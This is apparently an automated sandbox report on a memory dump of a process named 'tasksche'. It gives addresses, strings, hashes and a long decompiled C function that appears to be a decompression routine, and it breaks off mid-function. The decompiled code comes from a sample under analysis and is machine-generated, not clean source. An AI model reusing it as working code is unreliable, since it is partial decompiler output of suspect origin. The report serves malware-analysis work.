0x004102c6
0x004102cf
0x004102d2
0x004102d9
0x004102e1
0x004102ec
0x004102f3
0x004102f8
0x004102fb
0x004102fe
0x00410306
0x0041030e
0x00410315
0x00410317
0x0041031a
0x0041031a
0x00410320
0x00410323
0x00410326
0x0041033b
0x0041033d
0x0041033f
0x00410341
0x0041034a
0x0041034d
0x00410354
0x00410357
0x0041035e
0x00410369
0x0041037f
0x00410381
0x00410384
0x00410387
0x0041038a
0x00410392
0x00410397
0x0041039e
0x004103a1
0x004103a4
0x004103a4
0x004103aa
0x004103ad
0x004103b6
0x004103c5
0x004103c7
0x004103c9
0x004103cb
0x004103ce
0x004103d7
0x004103df
0x004103e2
0x004103e4
0x004103e7
0x004103ea
0x004103f5
0x00410405
0x00410414
0x0041041c
0x0041041f
0x00410422
0x0041042b
0x0041042b
0x00410434
0x0041043b
0x00410440
0x00410443
0x00410443
0x00410449
0x0041044c
0x0041044f
0x00410464
0x00410466
0x00410468
0x0041046a
0x00410473
0x00410476
0x0041047d
0x00410480
0x00410487
0x00410492
0x004104a8
0x004104aa
0x004104ad
0x004104b0
0x004104b3
0x004104bb
0x004104c3
0x004104c5
0x004104c6
0x004104c9
0x004104cb
0x004104ce
0x004104ce
0x004104d5

Strings

<D, xrefs: 004101A8
DD, xrefs: 004101FD

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: <D$DD
API String ID: 0-3036587789
Opcode ID: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction ID: 59a02f745f793eb532b4d9e305735a670a6f692f985c4356a20c5044c607aa25
Opcode Fuzzy Hash: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction Fuzzy Hash: E8D15D72A0061ACFCF14CF58D884599B3B1FF8C308B2685ADE919AB245D731BA56CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00417D78 Relevance: 2.6, APIs: 1, Instructions: 1055
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00417D78(void* __ecx, unsigned int _a4, char _a7) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t539;
				signed int _t540;
				unsigned int _t541;
				signed int _t544;
				signed int _t545;
				signed int _t547;
				unsigned int _t551;
				signed int _t553;
				intOrPtr* _t554;
				unsigned int _t556;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				unsigned int _t563;
				signed int _t566;
				signed int _t567;
				signed int _t568;
				signed int _t570;
				unsigned int _t571;
				unsigned int _t580;
				unsigned int _t582;
				signed int _t583;
				unsigned int _t584;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				unsigned int _t590;
				signed int _t592;
				unsigned int _t593;
				unsigned int _t594;
				unsigned int _t595;
				signed int _t597;
				void* _t598;
				signed int _t601;
				signed int _t602;
				unsigned int _t603;
				signed int _t606;
				signed int _t607;
				unsigned int _t611;
				signed int _t613;
				unsigned int _t614;
				unsigned int _t616;
				unsigned int _t618;
				signed int _t619;
				unsigned int _t620;
				signed int _t623;
				signed int _t624;
				unsigned int _t625;
				signed int _t626;
				unsigned int _t627;
				signed int _t630;
				signed int _t631;
				signed int _t632;
				unsigned int _t633;
				unsigned int _t634;
				unsigned int _t635;
				signed int _t636;
				signed int _t637;
				signed int _t638;
				unsigned int _t639;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				void* _t648;
				void* _t649;
				signed int _t651;
				unsigned int _t658;
				unsigned int _t660;
				signed char _t661;
				signed int _t662;
				signed int _t666;
				unsigned int _t667;
				unsigned int _t669;
				signed int _t671;
				intOrPtr _t673;
				signed int _t678;
				signed int _t680;
				signed int _t681;
				signed int _t684;
				signed int _t688;
				signed int _t689;
				unsigned int _t695;
				signed int _t696;
				intOrPtr* _t700;
				intOrPtr* _t702;
				signed int _t704;
				signed int _t706;
				unsigned int _t708;
				void* _t710;
				signed int _t715;
				void* _t723;
				unsigned int _t727;
				unsigned int _t730;
				void* _t732;
				signed int _t734;
				char* _t740;
				unsigned int _t741;
				void* _t743;
				intOrPtr* _t747;
				void* _t748;
				signed int _t751;
				signed int _t753;
				unsigned int _t759;
				unsigned int _t762;
				signed int _t766;
				unsigned int _t768;
				void* _t770;
				signed int _t772;
				signed int _t773;
				void* _t779;
				void* _t781;
				signed int _t787;
				void* _t789;
				intOrPtr* _t791;
				void* _t792;
				signed int _t795;
				void* _t798;
				void* _t803;
				signed int _t806;
				void* _t809;
				void* _t814;
				signed int _t817;
				void* _t825;
				signed int _t826;
				intOrPtr _t829;
				unsigned int _t831;
				unsigned int _t832;
				signed int _t834;
				unsigned int _t841;
				void* _t849;
				void* _t854;
				signed int _t855;
				intOrPtr _t858;
				unsigned int _t859;
				signed int _t860;
				signed int _t862;
				intOrPtr _t865;
				signed int _t877;
				intOrPtr _t880;
				signed int _t888;
				signed int _t890;
				intOrPtr _t893;
				signed int _t901;
				signed int _t902;
				signed int _t921;
				signed int _t923;
				intOrPtr _t926;
				intOrPtr* _t934;
				signed int _t935;
				void* _t936;
				void* _t937;
				void* _t938;
				void* _t953;

				_t680 = 0;
				_t936 = __ecx;
				_t938 =  *0x44f6fc - _t680; // 0x0
				if(_t938 != 0) {
					L6:
					 *((char*)(_t936 + 0x4c58)) = 1;
					if( *((char*)(_t936 + 0x4c48)) != 0) {
						L11:
						_t934 = _t936 + 4;
						while(1) {
							L12:
							 *(_t936 + 0x70) =  *(_t936 + 0x70) &  *(_t936 + 0xe6dc);
							if( *_t934 >  *((intOrPtr*)(_t936 + 0x7c)) && E0041236D(_t683, _t936, _t852) == 0) {
								break;
							}
							_t539 =  *((intOrPtr*)(_t936 + 0x74));
							_t704 =  *(_t936 + 0x70);
							_t852 = _t539 - _t704 &  *(_t936 + 0xe6dc);
							if((_t539 - _t704 &  *(_t936 + 0xe6dc)) >= 0x104 || _t539 == _t704) {
								L20:
								if( *(_t936 + 0xe654) != 1) {
									_t540 = E0040978C(_t934);
									_t681 =  *(_t936 + 0x118);
									_t541 = _t540 & 0x0000fffe;
									__eflags = _t541 -  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4));
									if(_t541 >=  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4))) {
										_t852 = 0xf;
										_t706 = _t681 + 1;
										__eflags = _t706 - _t852;
										if(_t706 >= _t852) {
											L90:
											_t708 =  *(_t934 + 4) + _t852;
											 *(_t934 + 4) = _t708 & 0x00000007;
											_t683 = _t708 >> 3;
											 *_t934 =  *_t934 + (_t708 >> 3);
											_t710 = 0x10;
											_t544 = (_t541 -  *((intOrPtr*)(_t936 + 0x94 + _t852 * 4)) >> _t710 - _t852) +  *((intOrPtr*)(_t936 + 0xd8 + _t852 * 4));
											__eflags = _t544 -  *((intOrPtr*)(_t936 + 0x94));
											if(_t544 >=  *((intOrPtr*)(_t936 + 0x94))) {
												_t544 = 0;
												__eflags = 0;
											}
											_t545 =  *(_t936 + 0xd1c + _t544 * 2) & 0x0000ffff;
											L93:
											__eflags = _t545 - 0x100;
											if(_t545 >= 0x100) {
												__eflags = _t545 - 0x10f;
												if(_t545 < 0x10f) {
													__eflags = _t545 - 0x100;
													if(__eflags != 0) {
														__eflags = _t545 - 0x101;
														if(__eflags != 0) {
															__eflags = _t545 - 0x102;
															if(_t545 != 0x102) {
																__eflags = _t545 - 0x107;
																if(_t545 >= 0x107) {
																	__eflags = _t545 - 0x110;
																	if(_t545 >= 0x110) {
																		continue;
																	}
																	_t547 =  *(_t545 + 0x430081) & 0x000000ff;
																	_t683 = ( *(_t545 + 0x430089) & 0x000000ff) + 1;
																	_a4 = _t547;
																	__eflags = _t547;
																	if(_t547 > 0) {
																		_t556 = E0040978C(_t934);
																		_t723 = 0x10;
																		_t683 = _t683 + (_t556 >> _t723 - _a4);
																		_t559 =  *(_t934 + 4) + _a4;
																		 *_t934 =  *_t934 + (_t559 >> 3);
																		_t560 = _t559 & 0x00000007;
																		__eflags = _t560;
																		 *(_t934 + 4) = _t560;
																	}
																	_t715 =  *(_t936 + 0x70);
																	 *(_t936 + 0x60) =  *(_t936 + 0x5c);
																	 *(_t936 + 0x5c) =  *(_t936 + 0x58);
																	 *(_t936 + 0x58) =  *(_t936 + 0x54);
																	_t551 = 2;
																	 *(_t936 + 0x68) = _t551;
																	_a4 = _t551;
																	_t553 = _t715 - _t683;
																	_t854 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																	 *(_t936 + 0x54) = _t683;
																	__eflags = _t553 - _t854;
																	if(_t553 >= _t854) {
																		L218:
																		_t855 =  *(_t936 + 0xe6dc);
																		do {
																			_t683 =  *(_t936 + 0x70);
																			_a4 = _a4 - 1;
																			 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t855 & _t553) +  *((intOrPtr*)(_t936 + 0x4b34))));
																			_t855 =  *(_t936 + 0xe6dc);
																			_t553 = _t553 + 1;
																			__eflags = _a4;
																			 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t855;
																		} while (_a4 > 0);
																	} else {
																		__eflags = _t715 - _t854;
																		if(_t715 >= _t854) {
																			goto L218;
																		}
																		_t858 =  *((intOrPtr*)(_t936 + 0x4b34));
																		_t554 = _t553 + _t858;
																		_t852 = _t858 + _t715;
																		 *(_t936 + 0x70) = _t715 + 2;
																		 *_t852 =  *_t554;
																		 *(_t852 + 1) =  *((intOrPtr*)(_t554 + 1));
																	}
																	continue;
																}
																_t561 = _t545 + 0xfffffefd;
																_t727 = _t936 + 0x54 + _t561 * 4;
																_t859 =  *_t727;
																_v12 = _t859;
																while(1) {
																	__eflags = _t561;
																	if(_t561 <= 0) {
																		break;
																	}
																	 *_t727 =  *(_t727 - 4);
																	_t561 = _t561 - 1;
																	_t727 = _t727 - 4;
																	__eflags = _t727;
																}
																 *(_t936 + 0x54) = _t859;
																_t562 = E0040978C(_t934);
																_t688 =  *(_t936 + 0x2ddc);
																_t563 = _t562 & 0x0000fffe;
																__eflags = _t563 -  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4));
																if(_t563 >=  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4))) {
																	_t860 = 0xf;
																	_t689 = _t688 + 1;
																	__eflags = _t689 - _t860;
																	if(_t689 >= _t860) {
																		L185:
																		_t730 =  *(_t934 + 4) + _t860;
																		 *(_t934 + 4) = _t730 & 0x00000007;
																		 *_t934 =  *_t934 + (_t730 >> 3);
																		_t732 = 0x10;
																		_t566 = (_t563 -  *((intOrPtr*)(_t936 + 0x2d58 + _t860 * 4)) >> _t732 - _t860) +  *((intOrPtr*)(_t936 + 0x2d9c + _t860 * 4));
																		__eflags = _t566 -  *((intOrPtr*)(_t936 + 0x2d58));
																		if(_t566 >=  *((intOrPtr*)(_t936 + 0x2d58))) {
																			_t566 = 0;
																			__eflags = 0;
																		}
																		_t567 =  *(_t936 + 0x39e0 + _t566 * 2) & 0x0000ffff;
																		L188:
																		_t568 =  *(_t567 + 0x430198) & 0x000000ff;
																		_t683 = ( *(_t567 + 0x4301b4) & 0x000000ff) + 2;
																		_v16 = _t683;
																		_a4 = _t568;
																		__eflags = _t568;
																		if(_t568 > 0) {
																			_t584 = E0040978C(_t934);
																			_t743 = 0x10;
																			_t683 = _t683 + (_t584 >> _t743 - _a4);
																			_t587 =  *(_t934 + 4) + _a4;
																			_v16 = _t683;
																			 *_t934 =  *_t934 + (_t587 >> 3);
																			_t588 = _t587 & 0x00000007;
																			__eflags = _t588;
																			 *(_t934 + 4) = _t588;
																		}
																		_t734 =  *(_t936 + 0x70);
																		_t570 = _t734 - _v12;
																		_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																		 *(_t936 + 0x68) = _t683;
																		_a4 = _t683;
																		__eflags = _t570 - _t852;
																		if(_t570 >= _t852) {
																			L208:
																			__eflags = _t683;
																			if(_t683 <= 0) {
																				continue;
																			}
																			_t862 =  *(_t936 + 0xe6dc);
																			do {
																				_t683 =  *(_t936 + 0x70);
																				_a4 = _a4 - 1;
																				 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t862 & _t570) +  *((intOrPtr*)(_t936 + 0x4b34))));
																				_t862 =  *(_t936 + 0xe6dc);
																				_t570 = _t570 + 1;
																				__eflags = _a4;
																				 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t862;
																			} while (_a4 > 0);
																			continue;
																		} else {
																			__eflags = _t734 - _t852;
																			if(_t734 >= _t852) {
																				goto L208;
																			}
																			_t865 =  *((intOrPtr*)(_t936 + 0x4b34));
																			_t683 = _t865 + _t570;
																			_t571 = _v16;
																			_t852 = _t865 + _t734;
																			_v8 = _t852;
																			 *(_t936 + 0x70) = _t734 + _t571;
																			__eflags = _v12 - _t571;
																			if(_v12 >= _t571) {
																				__eflags = _t571 - 8;
																				if(_t571 < 8) {
																					L200:
																					__eflags = _a4;
																					if(_a4 > 0) {
																						__eflags = _a4 - 1;
																						_t740 = _v8;
																						 *_t740 =  *_t683;
																						if(_a4 > 1) {
																							__eflags = _a4 - 2;
																							 *((char*)(_t740 + 1)) =  *((intOrPtr*)(_t683 + 1));
																							if(_a4 > 2) {
																								__eflags = _a4 - 3;
																								 *((char*)(_t740 + 2)) =  *((intOrPtr*)(_t683 + 2));
																								if(_a4 > 3) {
																									__eflags = _a4 - 4;
																									 *((char*)(_t740 + 3)) =  *((intOrPtr*)(_t683 + 3));
																									if(_a4 > 4) {
																										__eflags = _a4 - 5;
																										 *((char*)(_t740 + 4)) =  *((intOrPtr*)(_t683 + 4));
																										if(_a4 > 5) {
																											__eflags = _a4 - 6;
																											 *((char*)(_t740 + 5)) =  *((intOrPtr*)(_t683 + 5));
																											if(_a4 > 6) {
																												 *((char*)(_t740 + 6)) =  *((intOrPtr*)(_t683 + 6));
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																					continue;
																				}
																				_t580 = _v16 >> 3;
																				__eflags = _t580;
																				_v16 = _t580;
																				do {
																					E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																					_v8 = _v8 + 8;
																					_a4 = _a4 - 8;
																					_t937 = _t937 + 0xc;
																					_t683 = _t683 + 8;
																					_t467 =  &_v16;
																					 *_t467 = _v16 - 1;
																					__eflags =  *_t467;
																				} while ( *_t467 != 0);
																				goto L200;
																			}
																			__eflags = _t571 - 8;
																			if(_t571 < 8) {
																				goto L200;
																			}
																			_t582 = _t571 >> 3;
																			__eflags = _t582;
																			_t741 = _t582;
																			_t583 = _t852;
																			do {
																				_a4 = _a4 - 8;
																				 *_t583 =  *_t683;
																				 *((char*)(_t583 + 1)) =  *((intOrPtr*)(_t683 + 1));
																				 *((char*)(_t583 + 2)) =  *((intOrPtr*)(_t683 + 2));
																				 *((char*)(_t583 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t583 + 4)) =  *((intOrPtr*)(_t683 + 4));
																				 *((char*)(_t583 + 5)) =  *((intOrPtr*)(_t683 + 5));
																				 *((char*)(_t583 + 6)) =  *((intOrPtr*)(_t683 + 6));
																				_t852 =  *((intOrPtr*)(_t683 + 7));
																				 *((char*)(_t583 + 7)) =  *((intOrPtr*)(_t683 + 7));
																				_t683 = _t683 + 8;
																				_t583 = _t583 + 8;
																				_t741 = _t741 - 1;
																				__eflags = _t741;
																			} while (_t741 != 0);
																			_v8 = _t583;
																			goto L200;
																		}
																	}
																	_t747 = _t936 + 0x2d5c + _t689 * 4;
																	while(1) {
																		__eflags = _t563 -  *_t747;
																		if(_t563 <  *_t747) {
																			break;
																		}
																		_t689 = _t689 + 1;
																		_t747 = _t747 + 4;
																		__eflags = _t689 - 0xf;
																		if(_t689 < 0xf) {
																			continue;
																		}
																		goto L185;
																	}
																	_t860 = _t689;
																	goto L185;
																}
																_t748 = 0x10;
																_t589 = _t563 >> _t748 - _t688;
																_t751 = ( *(_t589 + _t936 + 0x2de0) & 0x000000ff) +  *(_t934 + 4);
																 *_t934 =  *_t934 + (_t751 >> 3);
																 *(_t934 + 4) = _t751 & 0x00000007;
																_t567 =  *(_t936 + 0x31e0 + _t589 * 2) & 0x0000ffff;
																goto L188;
															}
															_t590 =  *(_t936 + 0x68);
															__eflags = _t590;
															if(_t590 == 0) {
																continue;
															}
															_t753 =  *(_t936 + 0x70);
															_a4 = _t590;
															_t592 = _t753 -  *(_t936 + 0x54);
															_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
															__eflags = _t592 - _t852;
															if(_t592 >= _t852) {
																L169:
																__eflags = _a4;
																if(_a4 <= 0) {
																	continue;
																}
																_t877 =  *(_t936 + 0xe6dc);
																do {
																	_t683 =  *(_t936 + 0x70);
																	_a4 = _a4 - 1;
																	 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t877 & _t592) +  *((intOrPtr*)(_t936 + 0x4b34))));
																	_t877 =  *(_t936 + 0xe6dc);
																	_t592 = _t592 + 1;
																	__eflags = _a4;
																	 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t877;
																} while (_a4 > 0);
																continue;
															}
															__eflags = _t753 - _t852;
															if(_t753 >= _t852) {
																goto L169;
															}
															_t880 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t880 + _t592;
															_t593 = _a4;
															_t852 = _t880 + _t753;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t753 + _t593;
															__eflags =  *(_t936 + 0x54) - _t593;
															if( *(_t936 + 0x54) >= _t593) {
																__eflags = _t593 - 8;
																if(_t593 < 8) {
																	L146:
																	_t759 = _a4;
																	__eflags = _t759;
																	if(_t759 <= 0) {
																		continue;
																	}
																	_t594 = _v12;
																	L53:
																	_t852 =  *_t683;
																	 *_t594 =  *_t683;
																	__eflags = _t759 - 1;
																	if(_t759 > 1) {
																		_t852 =  *((intOrPtr*)(_t683 + 1));
																		 *((char*)(_t594 + 1)) =  *((intOrPtr*)(_t683 + 1));
																		__eflags = _t759 - 2;
																		if(_t759 > 2) {
																			_t852 =  *((intOrPtr*)(_t683 + 2));
																			 *((char*)(_t594 + 2)) =  *((intOrPtr*)(_t683 + 2));
																			__eflags = _t759 - 3;
																			if(_t759 > 3) {
																				_t852 =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t594 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				__eflags = _t759 - 4;
																				if(_t759 > 4) {
																					_t852 =  *((intOrPtr*)(_t683 + 4));
																					 *((char*)(_t594 + 4)) =  *((intOrPtr*)(_t683 + 4));
																					__eflags = _t759 - 5;
																					if(_t759 > 5) {
																						_t852 =  *((intOrPtr*)(_t683 + 5));
																						 *((char*)(_t594 + 5)) =  *((intOrPtr*)(_t683 + 5));
																						__eflags = _t759 - 6;
																						if(_t759 > 6) {
																							 *((char*)(_t594 + 6)) =  *((intOrPtr*)(_t683 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																	continue;
																}
																_t595 = _t593 >> 3;
																__eflags = _t595;
																_v16 = _t595;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t377 =  &_v16;
																	 *_t377 = _v16 - 1;
																	__eflags =  *_t377;
																} while ( *_t377 != 0);
																goto L146;
															}
															__eflags = _t593 - 8;
															if(_t593 < 8) {
																goto L146;
															}
															_t762 = _t593 >> 3;
															__eflags = _t762;
															_t597 = _t852;
															do {
																_a4 = _a4 - 8;
																 *_t597 =  *_t683;
																 *((char*)(_t597 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t597 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t597 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t597 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t597 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t597 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t597 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + 8;
																_t597 = _t597 + 8;
																_t762 = _t762 - 1;
																__eflags = _t762;
															} while (_t762 != 0);
															L142:
															_v12 = _t597;
															goto L146;
														}
														_t598 = E00417B97(_t936, _t852, __eflags);
														L25:
														if(_t598 != 0) {
															continue;
														} else {
															break;
														}
													}
													_t598 = E00414F0A(_t936, __eflags);
													goto L25;
												}
												_t601 =  *(_t545 + 0x430089) & 0x000000ff;
												_t695 = ( *(_t545 + 0x4300a5) & 0x000000ff) + 3;
												_v8 = _t695;
												_a4 = _t601;
												__eflags = _t601;
												if(_t601 > 0) {
													_t639 = E0040978C(_t934);
													_t809 = 0x10;
													_t642 =  *(_t934 + 4) + _a4;
													_v8 = _t695 + (_t639 >> _t809 - _a4);
													 *_t934 =  *_t934 + (_t642 >> 3);
													_t643 = _t642 & 0x00000007;
													__eflags = _t643;
													 *(_t934 + 4) = _t643;
												}
												_t602 = E0040978C(_t934);
												_t696 =  *(_t936 + 0x1004);
												_t603 = _t602 & 0x0000fffe;
												__eflags = _t603 -  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4));
												if(_t603 >=  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4))) {
													_t888 = 0xf;
													_t766 = _t696 + 1;
													__eflags = _t766 - _t888;
													if(_t766 >= _t888) {
														L107:
														_t768 =  *(_t934 + 4) + _t888;
														 *(_t934 + 4) = _t768 & 0x00000007;
														 *_t934 =  *_t934 + (_t768 >> 3);
														_t770 = 0x10;
														_t606 = (_t603 -  *((intOrPtr*)(_t936 + 0xf80 + _t888 * 4)) >> _t770 - _t888) +  *((intOrPtr*)(_t936 + 0xfc4 + _t888 * 4));
														__eflags = _t606 -  *((intOrPtr*)(_t936 + 0xf80));
														if(_t606 >=  *((intOrPtr*)(_t936 + 0xf80))) {
															_t606 = 0;
															__eflags = 0;
														}
														_t607 =  *(_t936 + 0x1c08 + _t606 * 2) & 0x0000ffff;
														goto L110;
													}
													_t700 = _t936 + 0xf84 + _t766 * 4;
													while(1) {
														__eflags = _t603 -  *_t700;
														if(_t603 <  *_t700) {
															break;
														}
														_t766 = _t766 + 1;
														_t700 = _t700 + 4;
														__eflags = _t766 - 0xf;
														if(_t766 < 0xf) {
															continue;
														}
														goto L107;
													}
													_t888 = _t766;
													goto L107;
												} else {
													_t803 = 0x10;
													_t638 = _t603 >> _t803 - _t696;
													_t806 = ( *(_t638 + _t936 + 0x1008) & 0x000000ff) +  *(_t934 + 4);
													 *_t934 =  *_t934 + (_t806 >> 3);
													 *(_t934 + 4) = _t806 & 0x00000007;
													_t607 =  *(_t936 + 0x1408 + _t638 * 2) & 0x0000ffff;
													L110:
													_t772 =  *(_t607 + 0x44f6b8) & 0x000000ff;
													_t683 =  *((intOrPtr*)(0x44f6f8 + _t607 * 4)) + 1;
													_v16 = _t683;
													_a4 = _t772;
													__eflags = _t772;
													if(_t772 <= 0) {
														L133:
														__eflags = _t683 - 0x2000;
														if(_t683 >= 0x2000) {
															_v8 = _v8 + 1;
															__eflags = _t683 - 0x40000;
															if(_t683 >= 0x40000) {
																_t281 =  &_v8;
																 *_t281 = _v8 + 1;
																__eflags =  *_t281;
															}
														}
														_t773 =  *(_t936 + 0x70);
														 *(_t936 + 0x60) =  *(_t936 + 0x5c);
														 *(_t936 + 0x5c) =  *(_t936 + 0x58);
														 *(_t936 + 0x58) =  *(_t936 + 0x54);
														_t611 = _v8;
														 *(_t936 + 0x68) = _t611;
														_a4 = _t611;
														_t613 = _t773 - _t683;
														_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
														 *(_t936 + 0x54) = _t683;
														__eflags = _t613 - _t852;
														if(_t613 >= _t852) {
															L148:
															__eflags = _v8;
															if(_v8 <= 0) {
																continue;
															}
															_t890 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t890 & _t613) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t890 =  *(_t936 + 0xe6dc);
																_t613 = _t613 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t890;
															} while (_a4 > 0);
															continue;
														} else {
															__eflags = _t773 - _t852;
															if(_t773 >= _t852) {
																goto L148;
															}
															_t893 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t893 + _t613;
															_t614 = _v8;
															_t852 = _t893 + _t773;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t773 + _t614;
															__eflags = _v16 - _t614;
															if(_v16 >= _t614) {
																__eflags = _t614 - 8;
																if(_t614 < 8) {
																	goto L146;
																}
																_t616 = _v8 >> 3;
																__eflags = _t616;
																_v16 = _t616;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t328 =  &_v16;
																	 *_t328 = _v16 - 1;
																	__eflags =  *_t328;
																} while ( *_t328 != 0);
																goto L146;
															}
															_t779 = 8;
															__eflags = _t614 - _t779;
															if(_t614 < _t779) {
																goto L146;
															}
															_t618 = _t614 >> 3;
															__eflags = _t618;
															_v16 = _t618;
															_t619 = _t852;
															do {
																_a4 = _a4 - _t779;
																 *_t619 =  *_t683;
																 *((char*)(_t619 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t619 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t619 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t619 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t619 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t619 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t619 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + _t779;
																_t619 = _t619 + _t779;
																_t318 =  &_v16;
																 *_t318 = _v16 - 1;
																__eflags =  *_t318;
															} while ( *_t318 != 0);
															goto L142;
														}
													}
													__eflags = _t607 - 9;
													if(_t607 <= 9) {
														_t620 = E0040978C(_t934);
														_t781 = 0x10;
														_t683 = _t683 + (_t620 >> _t781 - _a4);
														_t623 =  *(_t934 + 4) + _a4;
														 *_t934 =  *_t934 + (_t623 >> 3);
														_t624 = _t623 & 0x00000007;
														__eflags = _t624;
														 *(_t934 + 4) = _t624;
														L132:
														_v16 = _t683;
														goto L133;
													}
													__eflags = _t772 - 4;
													if(_t772 > 4) {
														_t634 = E0040978C(_t934);
														_t635 = _a4;
														_t798 = 0x14;
														_t636 =  *(_t934 + 4) + _t635 - 4;
														 *_t934 =  *_t934 + (_t636 >> 3);
														_t683 = _t683 + (_t634 >> _t798 - _t635 << 4);
														_t637 = _t636 & 0x00000007;
														__eflags = _t637;
														 *(_t934 + 4) = _t637;
													}
													_t625 =  *(_t936 + 0x98cc);
													__eflags = _t625;
													if(_t625 <= 0) {
														_t626 = E0040978C(_t934);
														_t901 =  *(_t936 + 0x1ef0);
														_t627 = _t626 & 0x0000fffe;
														__eflags = _t627 -  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4));
														if(_t627 >=  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4))) {
															_t902 = _t901 + 1;
															_a4 = 0xf;
															__eflags = _t902 - 0xf;
															if(_t902 >= 0xf) {
																L125:
																_t787 =  *(_t934 + 4) + _a4;
																 *_t934 =  *_t934 + (_t787 >> 3);
																_t905 = _a4;
																 *(_t934 + 4) = _t787 & 0x00000007;
																_t789 = 0x10;
																_t630 = (_t627 -  *((intOrPtr*)(_t936 + 0x1e6c + _a4 * 4)) >> _t789 - _a4) +  *((intOrPtr*)(_t936 + 0x1eb0 + _t905 * 4));
																__eflags = _t630 -  *((intOrPtr*)(_t936 + 0x1e6c));
																if(_t630 >=  *((intOrPtr*)(_t936 + 0x1e6c))) {
																	_t630 = 0;
																	__eflags = 0;
																}
																_t631 =  *(_t936 + 0x2af4 + _t630 * 2) & 0x0000ffff;
																L128:
																__eflags = _t631 - 0x10;
																if(_t631 != 0x10) {
																	_t683 = _t683 + _t631;
																	 *(_t936 + 0x98c8) = _t631;
																	goto L132;
																}
																 *(_t936 + 0x98cc) = 0xf;
																goto L116;
															}
															_t791 = _t936 + 0x1e70 + _t902 * 4;
															while(1) {
																__eflags = _t627 -  *_t791;
																if(_t627 <  *_t791) {
																	break;
																}
